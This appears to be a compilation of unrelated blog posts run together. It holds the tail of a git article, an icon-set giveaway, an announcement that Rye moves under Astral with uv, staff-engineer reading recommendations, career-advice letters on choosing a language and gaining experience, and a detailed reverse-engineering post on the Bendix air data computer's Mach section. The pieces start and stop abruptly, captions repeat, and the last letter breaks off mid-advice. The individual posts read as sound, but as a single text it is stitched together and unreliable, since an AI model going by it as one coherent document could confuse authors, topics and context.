I did my best to explain things accurately as of how git works right now in 2024 but I’ve definitely made mistakes in here somewhere, especially because I don’t use most of these options myself. Let me know on Mastodon if you see a mistake and I’ll try to fix it.

I might also ask people about aliases later, there were a bunch of great ones that I left out because this was already getting long.

Treasure Chests

[earlier] "Your vintage-style handmade chest business is struggling. But I have a plan."

Thanks everyone for their suggestions, It was fun making the icons. you can download them and use&hellip;

Thanks everyone for their suggestions, It was fun making the icons.
you can download them and use them as you wish.
Download link // http://tinyurl.com/iconsetpixel

*please credit if you use them*
*don’t use them on NFTs*

Patreon //Ko-fi // inprint

Rye Grows With UV

Two weeks ago I asked the question again about What Rye should be. There has been one thing that I have not publicly shared before and that is that ever since Rye exists I have also been talking to Charlie Marsh about Python packaging and Python tooling. It turns out that we had some shared ideas of what an ideal Python tooling landscape would look like. That has lead to some very interesting back and forths. To make a potentially very long story short: Together with Astral's release of uv they will take stewardship of Rye. For the details read on.

For me Rye is an exciting test bed of what Python tooling can be. I have been using this test bed to run a of experiments over the last year. I learned a lot about what is missing in the ecosystem by building it and where the challenges are. What I enjoyed the most of working on it so far has been the feedback from various people on it. I wanted to explore what a “cargo for Python” is like and it's becoming ever more evident what that might look like. At the same time from the very start I was very clear in questioning its existence.

Since we were talking I was able to run an experiment which has been to put in Astral's uv as replacement for pip-tools. If you are not familiar with it yet: uv today is a drop-in replacement for pip-tools and venv. The why is pretty clear: it's much faster than pip-tools. Instead of taking 5 seconds to sync a virtualenv, it's almost instant. It's hard to overstate how impactful this is in terms of developer experience.

For entirely unrelated reasons Rye today already picks some of Astral's tools to power other functionality. If you invoke rye fmt and rye check it behind the scenes uses Astral's ruff to do so. They are fast, sufficiently oppinonated and they do not require installing them into the virtualenv of the project. They are quickly becoming the obvious choice if you are used to excellent tooling from other ecosystems. So as it stands, three things that Rye does are either already picking Astral tools, or will soon default to doing so.

This led to a few conversations if it would make sense for Astral to continue the work on Rye and build it out into that “cargo for Python”. I'm very much convinced that there should be such a tool and that is something Charlie from Astral shares. Where we landed is a plan that looks like the following:

Rye will continue to be a test bed for what Python tooling can be. We will move the project under Astral's stewardship with the desire to use it to further explore what a good UX can be and we will be quite liberal in trying different things. For instance now that the package installation process is blazing fast, I really want to see if we can remove the need of calling sync manually. There are also a lot of questions remaining like how to make the most of the indygreg builds or what lock files should look like in a Python world. I also want to go deep on exploring a multi-version Python import system.

Rye will turn into a blessed breeding ground of different things. As the user experience becomes more obvious uv itself will turn from what it is today — low level plumbing — into that higher level tool with a clear migration path of folks using rye to that new uv.

To try Rye on top of uv today install or update to the latest version and enable the experimental uv support:

$ rye config --set-bool behavior.use-uv=true

To learn more about uv and rye head over to GitHub:

You might have some more questions about this so I compiled a basic FAQ:

Why not make Rye the cargo for Python?
This in many ways might look like the obvious question. The answer is quite simple: Rye as it exists today is unlikely to be the final solution. For a start code wise it's pretty brittle coming from it cobbling together various tools. It's a duck-taped solution that was built to sketch up what can be, for my very own uses. It is however incredibly useful to play and explore possible solutions.
Will Rye retired for uv?
Not today, but the desire is that these tools eventually converge into one.
Will you continue to contribute and maintain Rye?
Short answer: yes. Long answer is that me contributing to my own tool has been a pretty spotty thing over the last year. There was in fact almost a multi month hiatus where the only changes to Rye were bumping Python versions and fixing minor issues and that not because it was perfect. The reason more was that I realized that Rye runs into fundamental issues that are really gnarly to resolve which can be quite frustrating to attack as a side project. So I want to continue to be involved in one way or another, but this is a project much larger than me and I do not have the motivation to give it enough of that push myself.
Will I join Astral?
No :-)
Is there a song about Python packaging?

Thanks to AI there is.

KO-FI art - Pixel art timelapse Patreon //Ko-fi // inprint



KO-FI art - Pixel art timelapse

Patreon //Ko-fi // inprint

Great management and leadership books for the technical track

In tech, we're fortunate to have separate management and technical tracks, though it's still underdeveloped1. However, the path you take isn't very clear, it's not broadly understood what the responsibilities are, and there aren't as many resources out there as there are for management. But there are still some really good resources!

The technical track has recently started to get a lot of very good writing around it. This is great! We can learn from it, but we can also pull from all the existing management and leadership literature out there. While we staff+ engineers are not managers, our roles have a lot of management-like responsibilities, because leadership is a big component of either track! So we have this wealth of management and leadership books to draw from.

I love to read books (and to buy them, faster than I can read them, but let's not talk about that). Over the years I've come across a few books that I really strongly recommend to everyone, but in particular, to people who want to advance on the technical track. Here are my favorites, along with why I like them!

Note that I've included links to buy the books. Some of these are affiliate links, which help support me and my writing.

Management/leadership books

First up is The Manager's Path by Camille Fournier. This is a classic at this point, and is widely regarded as the software engineering management book to read first. Fournier has the experience to back it up, and the book gives a great overview of what engineering management even is, and what you should expect to see and do at each level. It gives great context on what management is and every engineer should read it, even just to understand their manager's perspective to better leverage their manager.

One thing I really liked in this book is that it includes a chapter on being a tech lead. This is the first real leadership role that many engineers will have, and it's where they have to decide which track to pursue from there. It was the first time I saw a description of a senior IC's role written down in a book.

Another great one is High Output Management by Andy Grove, an early employee and the third CEO of Intel. It's filled with overall excellent advice and knowledge, and is well worth a read. I read this one around when I was considering a staff engineer role, and it was the first management book that explicitly included me2. In it, Grove describes "know-how managers", who are people with deep expertise and don't necessarily have subordinates but have equivalent responsibility and impact to peer managers through their roles.

The book also introduced me to the concept of dual reporting and gives practical advice on dealing with it. This is critical in software engineering, since we're often in a dual reporting situation between engineering and product management, with responsibilities to both. Or between our individual job function and the team we're on. It happens a lot, and this is a tension you have to learn to manage!

A recent addition to this literature is Resilient Management by Lara Hogan. It's a short, very practical book for new managers. It focuses on learning about your team's needs, helping your teammates grow, setting expectations, communicating effectively, and building resiliency. Every single thing on the topic list is also extremely relevant on the technical track.

As a technical leader without direct reports, you still are focused on the team(s) you serve. You still do a lot of mentorship, coaching, and sponsorship. You still have to set expectations and help develop processes. You more than ever are expected to communicate clearly and effectively. And you are in a critical position to notice things that aren't resilient in the team and advocate for making your team resilient.

And then a fun one is Turn the Ship Around by L. David Marquet. It details Captain Maquet's leadership and management journey in the navy3 and a unique approach he took. This one is a really fun read. It's engaging and employs good storytelling. And it has some nice lessons about how to empower people to lead in each of their roles, instead of taking top-down orders as the default.

Technical leadership books

Fortunately, there are also some really good tech track books now! I have two to recommend, and a bonus I had to sneak in here.

The best book on the technical leadership track is without question The Staff Engineer's Path by Tanya Reilly. She provides an in-depth tour of everything technical leadership. You'll learn what the role entails and also how to do it effectively. Reading it, I took away a lot of things to do at work (even in a staff/principal engineer role I've been in for a bit). The cherry on top is that she's an excellent writer. If you only get one, get this one.

The second best book on the technical leadership track is Staff Engineer by Will Larson. This is the seminal text that kicked off a lot of activity, and Will did a lot of work to collect stories from many people in these roles and distill down what they do and how they do it. It's well worth a read, because it has a lot of perspectives in it and it's one of the earliest sources!

And last, I just recommend people read Thinking in Systems by Donella Meadows, because I think systems thinking is essential to any leadership or engineering role. It's the main introductory text in systems, and it's worth reading and reading again. It isn't one of those things you'll directly apply, but it's going to shift how you think about things.


Those are some of the books that have helped me the most in my technical leadership career. If you have any others, I'd love more recommendations! No promises on when I'll get to them, though, as my book backlog grows faster than I can keep up.


1

I'm pretty sure these tracks exist in engineering (all types), law, and accounting, to various extents. I've not researched outside of these.

2

Well, sort of. The book includes my role but uses "he" as the default pronoun. It was first published in 1983, flavor of the era. I like this book so much I just ignore this issue, but I'd love if that could be updated somehow.

How do you know when to use which programming language?

Hello Alex,

Congrats on graduating. So the question you’re asking is very vague, but I’d like to help you out as some have helped me out before when I was in your place. Remember, every great developer was once where you are now, full of questions and brimming with potential.

The essence of choosing a programming language lies not in seeking an objective “best” option but in finding the right tool for the job at hand. It’s a decision that is a combination of: technical requirements, personal preference, and the support of a vibrant community. These are just some of the factors to consider, there are many more, but you can think of these as pillars that will support your project.

Other factors might include, scalability requirements, hiring perspective. The software that you deploy on a moon rover, are different than those that you deploy with high-frequency trading bots. In the business world, the choice of programming language often extends beyond YOUR personal preference and YOUR technical suitability. It encompasses considerations of time-to-market, developer availability, and long-term maintainability of the project.

Example 1: Startup Environment

Imagine you’re part of a startup that’s working on an innovative web application aimed at revolutionizing how people manage their personal finances. The team is small, agile, and needs to move quickly to validate the business idea. In this scenario, a language like JavaScript, with its vast ecosystem and frameworks like React or Vue.js for the frontend and Node.js for the backend, could be an ideal choice. JavaScript’s ubiquity means finding developers is relatively easier, and its full-stack capabilities allow for rapid prototyping and iteration, which is crucial for a startup looking to pivot quickly based on user feedback.

Example 2: Enterprise-Level System

Now, consider an enterprise developing a high-frequency trading platform where performance, low latency, and reliability are paramount. Here, languages like C++ or Java might come to the forefront. C++ is renowned for its execution speed and fine-grained control over system resources, making it suitable for systems where performance could mean the difference between profit and loss. Java, with its robust ecosystem, scalability, and well-established patterns for enterprise applications, offers a balance between performance and ease of development, especially for complex, distributed systems.

Example 3: Legacy System Integration

In another scenario, you might find yourself working for a company that has been in operation for decades and has a significant investment in legacy systems, perhaps written in COBOL or Fortran. While these languages might not be the first choice for new projects, understanding and integrating with these systems could be critical for the business. In such cases, choosing a modern language that facilitates interoperability, like Python, which can connect to legacy systems through various libraries and interfaces, might be the strategic choice. Python serves as a bridge between the old and the new, allowing the company to leverage its existing investments while gradually modernizing its infrastructure.

In each of these examples, the decision on which programming language to use is influenced by a mix of factors: the project’s specific requirements, the team’s expertise, the ecosystem’s support for the task at hand, and the strategic goals of the business. It’s a balancing act, requiring you to weigh the immediate needs against long-term considerations like maintainability, scalability, and the ability to adapt to changing market demands.

Now you understand that technical capabilities are paramount. So you need to ask yourself, what’s important for this project? Whether it’s the speed of execution, integrated A.I. algorithms, compiled vs dynamic, needs to run on different OS or just Linux, memory management is crucial or can be ignore? The language must serve the project’s core needs.

Now let’s talk about the personal preference when choosing the language. If you’re a lead architect, you can probably choose the language that your team is the most capable with. In the end it’s you who’s going to be building the project, your team who will be maintaining the project, and your team will be responsible for future extensibility. So personal preference has a huge impact on your choice, though some developers will say that they’re unbiased, but in my opinion, everyone is biased.

Avoid the trap of the “golden hammer” syndrome, where familiarity with one language leads you to use it for every problem. This approach might work in the short term, but it limits your growth and the solutions you can offer. There’s so many different languages, and a language is just a tool in your toolbox. Embrace the diversity of languages and technologies, each with its strengths and ideal use cases. I’m not saying you should master all of them, but definitely have a few of them in your belt. Like a master woodworker who knows exactly which tool to use for each task, your goal is to develop a broad understanding of when and why to use each language.

In closing, remember that the journey of a software developer is one of continuous learning. The languages you choose to adapt will change over time, your personal preferences will change, some languages will get deprecated and die out.

Don’t worry for now if you don’t know which language to choose — choose the one that’s in the top 5 and you wont miss, with time you will learn the weaknesses of each of the language you work with and it will make it easier to decide for your next project.

Cheers,
Vadim

The post How do you know when to use which programming language? appeared first on Vadim Kravcenko.

Reverse-engineering an analog Bendix air data computer: part 4, the Mach section

In the 1950s, many fighter planes used the Bendix Central Air Data Computer (CADC) to compute airspeed, Mach number, and other "air data". The CADC is an analog computer, using tiny gears and specially-machined cams for its mathematics. In this article, part 4 of my series,1 I reverse engineer the Mach section of the CADC and explain its calculations. (In the photo below, the Mach section is the middle section of the CADC.)

The Bendix MG-1A Central Air Data Computer with the case removed, showing the compact gear mechanisms inside. Click this image (or any other) for a larger version.

The Bendix MG-1A Central Air Data Computer with the case removed, showing the compact gear mechanisms inside. Click this image (or any other) for a larger version.

Aircraft have determined airspeed from air pressure for over a century. A port in the side of the plane provides the static air pressure,2 the air pressure outside the aircraft. A pitot tube points forward and receives the "total" air pressure, a higher pressure due to the air forced into the tube by the speed of the airplane. The airspeed can be determined from the ratio of these two pressures, while the altitude can be determined from the static pressure.

But as you approach the speed of sound, the fluid dynamics of air change and the calculations become very complicated. With the development of supersonic fighter planes in the 1950s, simple mechanical instruments were no longer sufficient. Instead, an analog computer calculated the "air data" (airspeed, air density, Mach number, and so forth) from the pressure measurements. This computer then transmitted the air data electrically to the systems that needed it: instruments, weapons targeting, engine control, and so forth. Since the computer was centralized, the system was called a Central Air Data Computer or CADC, manufactured by Bendix and other companies.

A closeup of the numerous gears inside the CADC. Three differential gear mechanisms are visible.

A closeup of the numerous gears inside the CADC. Three differential gear mechanisms are visible.

Each value in the Bendix CADC is indicated by the rotational position of a shaft. Compact electric motors rotate the shafts, controlled by the pressure inputs. Gears, cams, and differentials perform computations, with the results indicated by more rotations. Devices called synchros converted the rotations to electrical outputs that are connected to other aircraft systems. The CADC is said to contain 46 synchros, 511 gears, 820 ball bearings, and a total of 2,781 major parts (but I haven't counted). These components are crammed into a compact cylinder: just 15 inches long and weighing 28.7 pounds.

The equations computed by the CADC are impressively complicated. For instance, one equation is:

\[~~~\frac{P_t}{P_s} = \frac{166.9215M^7}{( 7M^2-1)^{2.5}}\]

It seems incredible that these functions could be computed mechanically, but three techniques make this possible. The fundamental mechanism is the differential gear, which adds or subtracts values. Second, logarithms are used extensively, so multiplications and divisions are implemented by additions and subtractions performed by a differential, while square roots are calculated by gearing down by a factor of 2. Finally, specially-shaped cams implement functions: logarithm, exponential, and application-specific functions. By combining these mechanisms, complicated functions can be computed mechanically, as I will explain below.

The differential

The differential gear assembly is the mathematical component of the CADC, as it performs addition or subtraction.3 The differential takes two input rotations and produces an output rotation that is the sum or difference of these rotations.4 Since most values in the CADC are expressed logarithmically, the differential computes multiplication and division when it adds or subtracts its inputs.

A closeup of a differential mechanism.

A closeup of a differential mechanism.

While the differential functions like the differential in a car, it is constructed differently, with a spur-gear design. This compact arrangement of gears is about 1 cm thick and 3 cm in diameter. The differential is mounted on a shaft along with three co-axial gears: two gears provide the inputs to the differential and the third provides the output. In the photo, the gears above and below the differential are the input gears. The entire differential body rotates with the sum, connected to the output gear at the top through a concentric shaft. (In practice, any of the three gears can be used as the output.) The two thick gears inside the differential body are part of the mechanism.

The cams

The CADC uses cams to implement various functions. Most importantly, cams compute logarithms and exponentials. Cams also implement complicated functions of one variable such as ${M}/{\sqrt{1 + .2 M^2}}$. The function is encoded into the cam's shape during manufacturing, so a hard-to-compute nonlinear function isn't a problem for the CADC. The photo below shows a cam with the follower arm in front. As the cam rotates, the follower moves in and out according to the cam's radius.

A cam inside the CADC implements a function.

A cam inside the CADC implements a function.

However, the shape of the cam doesn't provide the function directly, as you might expect. The main problem with the straightforward approach is the discontinuity when the cam wraps around. For example, if the cam implemented an exponential directly, its radius would spiral exponentially and there would be a jump back to the starting value when it wraps around. Instead, the CADC uses a clever patented method: the cam encodes the difference between the desired function and a straight line. For example, an exponential curve is shown below (blue), with a line (red) between the endpoints. The height of the gray segment, the difference, specifies the radius of the cam (added to the cam's fixed minimum radius). The point is that this difference goes to 0 at the extremes, so the cam will no longer have a discontinuity when it wraps around. Moreover, this technique significantly reduces the size of the value (i.e. the height of the gray region is smaller than the height of the blue line), increasing the cam's accuracy.5

An exponential curve (blue), linear curve (red), and the difference (gray).

An exponential curve (blue), linear curve (red), and the difference (gray).

To make this work, the cam position must be added to the linear value to yield the result. This is implemented by combining each cam with a differential gear; watch for the paired cams and differentials below. As the diagram below shows, the input (23) drives the cam (30) and the differential (25, 37-41). The follower (32) tracks the cam and provides a second input (35) to the differential. The sum from the differential produces the desired function (26).

This diagram, from Patent 2969910, shows how the cam and follower are connected to a differential.

This diagram, from Patent 2969910, shows how the cam and follower are connected to a differential.

The synchro outputs

A synchro is an interesting device that can transmit a rotational position electrically over three wires. In appearance, a synchro is similar to an electric motor, but its internal construction is different, as shown below. Before digital systems, synchros were very popular for transmitting signals electrically through an aircraft. For instance, a synchro could transmit an altitude reading to a cockpit display or a targeting system. Two synchros at different locations have their stator windings connected together, while the rotor windings are driven with AC. Rotating the shaft of one synchro causes the other to rotate to the same position.6

Cross-section diagram of a synchro showing the rotor and stators.

Cross-section diagram of a synchro showing the rotor and stators.

For the CADC, most of the outputs are synchro signals, using compact synchros that are about 3 cm in length. For improved resolution, many of the CADC outputs use two synchros: a coarse synchro and a fine synchro. The two synchros are typically geared in an 11:1 ratio, so the fine synchro rotates 11 times as fast as the coarse synchro. Over the output range, the coarse synchro may turn 180°, providing the approximate output unambiguously, while the fine synchro spins multiple times to provide more accuracy.

Examining the Mach section of the CADC

Another view of the CADC.

Another view of the CADC.

The Bendix CADC is constructed from modular sections. In this blog post, I'm focusing on the middle section, called the "Mach section" and indicated by the arrow above. This section computes log static pressure, impact pressure, pressure ratio, and Mach number and provides these outputs electrically as synchro signals. It also provides the log pressure ratio and log static pressure to the rest of the CADC as shaft rotations. The left section of the CADC computes values related to airspeed, air density, and temperature.7 The right section has the pressure sensors (the black domes), along with the servo mechanisms that control them.

I had feared that any attempt at disassembly would result in tiny gears flying in every direction, but the CADC was designed to be taken apart for maintenance. Thus, I could remove the left section of the CADC for analysis. Unfortunately, we lost the gear alignment between the sections and don't have the calibration instructions, so the CADC no longer produces accurate results.

The diagram below shows the internal components of the Mach section after disassembly. The synchros are in pairs to generate coarse and fine outputs; the coarse synchros can be distinguished because they have spiral anti-backlash springs installed. These springs prevent wobble in the synchro and gear train as the gears change direction. The gears and differentials are not visible from this angle as they are underneath the metal plate. The Pressure Error Correction (PEC) subsystem has a motor to drive the shaft and a control transformer for feedback. The Mach section has two D-sub connectors. The one on the right links the Mach section and pressure section to the front section of the CADC. The Position Error Correction (PEC) servo amplifier board plugs into the left connector. The static pressure and total pressure input lines have fittings so the lines can be disconnected from the lines from the front of the CADC.8

The Mach section with components labeled.

The Mach section with components labeled.

The photo below shows the left section of the CADC. This section meshes with the Mach section shown above. The two sections have parts at various heights, so they join in a complicated way. Two gears receive the pressure signals \( log ~ P_t / P_s \) and \( log ~ P_s \) from the Mach section. The third gear sends the log total temperature to the rest of the CADC. The electrical connector (a standard 37-pin D-sub) supplies 120 V 400 Hz power to the Mach section and pressure transducers and passes synchro signals to the output connectors.

The left part of the CADC that meshes with the Mach section.

The left part of the CADC that meshes with the Mach section.

The position error correction servo loop

The CADC receives two pressure inputs and two pressure transducers convert the pressures into rotational positions, providing the indicated static pressure \( P_{si} \) and the total pressure \( P_t \) as shaft rotations to the rest of the CADC. (I explained the pressure transducers in detail in the previous article.)

There's one complication though. The static pressure \( P_s \) is the atmospheric pressure outside the aircraft. The problem is that the static pressure measurement is perturbed by the airflow around the aircraft, so the measured pressure (called the indicated static pressure \( P_{si} \)) doesn't match the real pressure. This is bad because a "static-pressure error manifests itself as errors in indicated airspeed, altitude, and Mach number to the pilot."9

The solution is a correction factor called the Position Error Correction. This factor gives the ratio between the real pressure \( P_s \) and the measured pressure \( P_{si} \). By applying this correction factor to the indicated (i.e. measured) pressure, the true pressure can be obtained. Since this correction factor depends on the shape of the aircraft, it is generated outside the CADC by a separate cylindrical unit called the Compensator, customized to the aircraft type. The position error computation depends on two parameters: the Mach number provided by the CADC and the angle of attack provided by an aircraft sensor. The compensator determines the correction factor by using a three-dimensional cam. The vintage photo below shows the components inside the compensator.

"Static Pressure and Angle of Attack Compensator Type X1254115-1 (Cover Removed)" from Air Data Computer Mechanization.

"Static Pressure and Angle of Attack Compensator Type X1254115-1 (Cover Removed)" from Air Data Computer Mechanization.

The correction factor is transmitted from the compensator to the CADC as a synchro signal over three wires. To use this value, the CADC must convert the synchro signal to a shaft rotation. The CADC uses a motorized servo loop that rotates the shaft until the shaft position matches the angle specified by the synchro input.

The servo loop ensures that the shaft position matches the input angle.

The servo loop ensures that the shaft position matches the input angle.

The key to the servo loop is a control transformer. This device looks like a synchro and has five wires like a synchro, but its function is different. Like the synchro motor, the control transformer has three stator wires that provide the angle input. Unlike the synchro, the control transformer also uses the shaft position as an input, while the rotor winding generates an output voltage indicating the error. This output voltage indicates the error between the control transformer's shaft position and the three-wire angle input. The control transformer provides its error signal as a 400 Hz sine wave, with a larger signal indicating more error.10

The amplifier board (below) drives the motor in the appropriate direction to cancel out the error. The power transformer in the upper left is the largest component, powering the amplifier board from the CADC's 115-volt, 400 Hertz aviation power. Below it are two transformer-like components; these are the magnetic amplifiers. The relay in the lower-right corner switches the amplifier into test mode. The rest of the circuitry consists of transistors, resistors, capacitors, and diodes. The construction is completely different from modern printed circuit boards. Instead, the amplifier uses point-to-point wiring between plastic-insulated metal pegs. Both sides of the board have components, with connections between the sides through the metal pegs.

The amplifier board for the position error correction.

The amplifier board for the position error correction.

The amplifier board is implemented with a transistor amplifier driving two magnetic amplifiers, which control the motor.11 (Magnetic amplifiers are an old technology that can amplify AC signals, allowing the relatively weak transistor output to control a larger AC output.12) The motor is a "Motor / Tachometer Generator" unit that also generates a voltage based on the motor's speed. This speed signal provides negative feedback, limiting the motor speed as the error becomes smaller and ensuring that the feedback loop doesn't overshoot. The photo below shows how the amplifier board is mounted in the middle of the CADC, behind the static pressure tubing.

Side view of the CADC.

Side view of the CADC.

The equations

Although the CADC looks like an inscrutable conglomeration of tiny gears, it is possible to trace out the gearing and see exactly how it computes the air data functions. With considerable effort, I have reverse-engineered the mechanisms to create the diagram below, showing how each computation is broken down into mechanical steps. Each line indicates a particular value, specified by a shaft rotation. The ⊕ symbol indicates a differential gear, adding or subtracting its inputs to produce another value. The cam symbol indicates a cam coupled to a differential gear. Each cam computes either a specific function or an exponential, providing the value as a rotation. At the right, the outputs are either shaft rotations to the rest of the CADC or synchro outputs.

This diagram shows how the values are computed. The differential numbers are my own arbitrary numbers. Click for a larger version.

This diagram shows how the values are computed. The differential numbers are my own arbitrary numbers. Click for a larger version.

I'll go through each calculation briefly.

log static pressure

The static pressure is calculated by dividing the indicated static pressure by the pressure error correction factor. Since these values are all represented logarithmically, the division turns into a subtraction, performed by a differential gear. The output goes to two synchros, geared to provide coarse and fine outputs.13

\[log ~ P_s = log ~ P_{si} - log ~ P_{si} / P_s \]

Impact pressure

The impact pressure is the pressure due to the aircraft's speed, the difference between the total pressure and the static pressure. To compute the impact pressure, the log pressure values are first converted to linear values by exponentiation, performed by cams. The linear pressure values are then subtracted by a differential gear. Finally, the impact pressure is output through two synchros, coarse and fine in an 11:1 ratio.

\[ P_t - P_s = exp(log ~ P_t) - exp(log ~ P_s) \]

log pressure ratio

The log pressure ratio \( P_t/P_s \) is the ratio of total pressure to static pressure. This value is important because it is used to compute the Mach number, true airspeed, and log free air temperature. The Mach number is computed in the Mach section as described below. The true airspeed and log free air temperature are computed in the left section. The left section receives the log pressure ratio as a rotation. Since the left section and Mach section can be separated for maintenance, a direct shaft connection is not used. Instead, each section has a gear and the gears mesh when the sections are joined.

Computing the log pressure ratio is straightforward. Since the log total pressure and log static pressure are both available, subtracting the logs with a differential yields the desired value. That is,

\[log ~ P_t/P_s = log ~ P_t - log ~ P_s \]

Mach number

The Mach number is defined in terms of \(P_t/P_s \), with separate cases for subsonic and supersonic:14

\[M<1:\] \[~~~\frac{P_t}{P_s} = ( 1+.2M^2)^{3.5}\]

\[M > 1:\]

\[~~~\frac{P_t}{P_s} = \frac{166.9215M^7}{( 7M^2-1)^{2.5}}\]

Although these equations are very complicated, the solution is a function of one variable \(P_t/P_s\) so M can be computed with a single cam. In other words, the mathematics needed to be done when the CADC was manufactured, but once the cam exists, computing M is easy, using the log pressure ratio computed earlier:

\[ M = f(log ~ P_t / P_s) \]

Conclusions

The CADC performs nonlinear calculations that seem way too complicated to solve with mechanical gearing. But reverse-engineering the mechanism shows how the equations are broken down into steps that can be performed with cams and differentials, using logarithms for multiplication and division. The diagram below shows the complex gearing in the Mach section. Each differential below corresponds to a differential in the earlier equation diagram.

A closeup of the gears and cams in the Mach section. The differential for the pressure ratio is hidden in the middle.

A closeup of the gears and cams in the Mach section. The differential for the pressure ratio is hidden in the middle.

Follow me on Twitter @kenshirriff or RSS for more reverse engineering. I'm also on Mastodon as @oldbytes.space@kenshirriff. Thanks to Joe for providing the CADC. Thanks to Nancy Chen for obtaining a hard-to-find document for me.15 Marc Verdiell and Eric Schlaepfer are working on the CADC with me. CuriousMarc's video shows the CADC in action:

Notes and references

  1. My articles on the CADC are:

    There is a lot of overlap between the articles, so skip over parts that seem repetitive :-) 

  2. The static air pressure can also be provided by holes in the side of the pitot tube; this is the typical approach in fighter planes. 

  3. Multiplying a rotation by a constant factor doesn't require a differential; it can be done simply with the ratio between two gears. (If a large gear rotates a small gear, the small gear rotates faster according to the size ratio.) Adding a constant to a rotation is even easier, just a matter of defining what shaft position indicates 0. For this reason, I will ignore constants in the equations. 

  4. Strictly speaking, the output of the differential is the sum of the inputs divided by two. I'm ignoring the factor of 2 because the gear ratios can easily cancel it out. It's also arbitrary whether you think of the differential as adding or subtracting, since it depends on which rotation direction is defined as positive. 

  5. The diagram below shows a typical cam function in more detail. The input is \(log~ dP/P_s\) and the output is \(log~M / \sqrt{1+.2KM^2}\). The small humped curve at the bottom is the cam correction. Although the input and output functions cover a wide range, the difference that is encoded in the cam is much smaller and drops to zero at both ends.

    This diagram, from Patent 2969910, shows how a cam implements a complicated function.

    This diagram, from Patent 2969910, shows how a cam implements a complicated function.

     

  6. Internally, a synchro has a moving rotor winding and three fixed stator windings. When AC is applied to the rotor, voltages are developed on the stator windings depending on the position of the rotor. These voltages produce a torque that rotates the synchros to the same position. In other words, the rotor receives power (26 V, 400 Hz in this case), while the three stator wires transmit the position. The diagram below shows how a synchro is represented schematically, with rotor and stator coils.

    The schematic symbol for a synchro.

    The schematic symbol for a synchro.

    A control transformer has a similar structure, but the rotor winding provides an output, instead of being powered. 

  7. Specifically, the left part of the CADC computes true airspeed, air density, total temperature, log true free air temperature, and air density × speed of sound. I discussed the left section in detail here

  8. From the outside, the CADC is a boring black cylinder, with no hint of the complex gearing inside. The CADC is wired to the rest of the aircraft through round military connectors. The front panel interfaces these connectors to the D-sub connectors used internally. The two pressure inputs are the black cylinders at the bottom of the photo.

    The exterior of the CADC. It is packaged in a rugged metal cylinder. It is sealed by a soldered metal band, so we needed a blowtorch to open it.

    The exterior of the CADC. It is packaged in a rugged metal cylinder. It is sealed by a soldered metal band, so we needed a blowtorch to open it.

     

  9. The concepts of position error correction are described here

  10. The phase of the signal is 0° or 180°, depending on the direction of the error. In other words, the error signal is proportional to the driving AC signal in one direction and flipped when the error is in the other direction. This is important since it indicates which direction the motor should turn. When the error is eliminated, the signal is zero. 

  11. I reverse-engineered the circuit board to create the schematic below for the amplifier. The idea is that one magnetic amplifier or the other is selected, depending on the phase of the error signal, causing the motor to turn counterclockwise or clockwise as needed. To implement this, the magnetic amplifier control windings are connected to opposite phases of the 400 Hz power. The transistor is connected to both magnetic amplifiers through diodes, so current will flow only if the transistor pulls the winding low during the half-cycle that the winding is powered high. Thus, depending on the phase of the transistor output, one winding or the other will be powered, allowing that magnetic amplifier to pass AC to the motor.

    This reverse-engineered schematic probably has a few errors. Click the schematic for a larger version.

    This reverse-engineered schematic probably has a few errors. Click the schematic for a larger version.

    The CADC has four servo amplifiers: this one for pressure error correction, one for temperature, and two for pressure. The amplifiers have different types of inputs: the temperature input is the probe resistance, the pressure error correction uses an error voltage from the control transformer, and the pressure inputs are voltages from the inductive pickups in the sensor. The circuitry is roughly the same for each amplifier—a transistor amplifier driving two magnetic amplifiers—but the details are different. The largest difference is that each pressure transducer amplifier drives two motors (coarse and fine) so each has two transistor stages and four magnetic amplifiers. 

  12. The basic idea of a magnetic amplifier is a controllable inductor. Normally, the inductor blocks alternating current. But applying a relatively small DC signal to a control winding causes the inductor to saturate, permitting the flow of AC. Since the magnetic amplifier uses a small signal to control a much larger signal, it provides amplification.

    In the early 1900s, magnetic amplifiers were used in applications such as dimming lights. Germany improved the technology in World War II, using magnetic amplifiers in ships, rockets, and trains. The magnetic amplifier had a resurgence in the 1950s; the Univac Solid State computer used magnetic amplifiers (rather than vacuum tubes or transistors) as its logic elements. However, improvements in transistors made the magnetic amplifier obsolete except for specialized applications. (See my IEEE Spectrum article on magnetic amplifiers for more history of magnetic amplifiers.) 

  13. The CADC specification defines how the parameter values correspond to rotation angles of the synchros. For instance, for the log static pressure synchros, the CADC supports the parameter range 0.8099 to 31.0185 inches of mercury. The spec defines the corresponding synchro outputs as 16,320° rotation of the fine synchro and 175.48° rotation of the coarse synchro over this range. The synchro null point corresponds to 29.92 inches of mercury (i.e. zero altitude). The fine synchro is geared to rotate 93 times as fast as the coarse synchro, so it rotates over 45 times during this range, providing higher resolution than a single synchro would provide. The other synchro pairs use a much smaller 11:1 ratio; presumably high accuracy of the static pressure was important. 

  14. Although the CADC's equations may seem ad hoc, they can be derived from fluid dynamics principles. These equations were standardized in the 1950s by various government organizations including the National Bureau of Standards and NACA (the precursor of NASA). 

  15. It was very difficult to find information about the CADC. The official military specification is MIL-C-25653C(USAF). After searching everywhere, I was finally able to get a copy from the Technical Reports & Standards unit of the Library of Congress. The other useful document was in an obscure conference proceedings from 1958: "Air Data Computer Mechanization" (Hazen), Symposium on the USAF Flight Control Data Integration Program, Wright Air Dev Center US Air Force, Feb 3-4, 1958, pp 171-194. 

How to get programming experience when you can’t find a job?

Hello Torb,

So I’ve seen this question pop out several times, and I understand the frustration of not being considered even for junior positions. The sense of being at a crossroads that you’re experiencing right now is absolutely normal, so take a deep breath, you’re good, this is normal. Your journey from graduation to landing that first job in tech can indeed feel daunting, especially when it seems like every job posting demands years of experience you don’t yet have. So let me share with you some of my thoughts that will hopefully help you find a job and gather some experience.

First and foremost, it’s crucial to shift your mindset. For the next six months, consider giving yourself a job. This job is about building software and immersing yourself in learning as much as you can — by building. The goal is to encounter as many bugs as you can and fix them. Each problem that you solve gives you +1 experience. You’re going to be leveling up your coding one bug at a time. Choose whichever language you feel the most comfortable with, whatever framework. At this point it’s not really that relevant. It’s about setting a structured schedule, dedicating full-time hours as if you were employed, with the goal of developing not just your coding skills but also your understanding of software development as a whole.

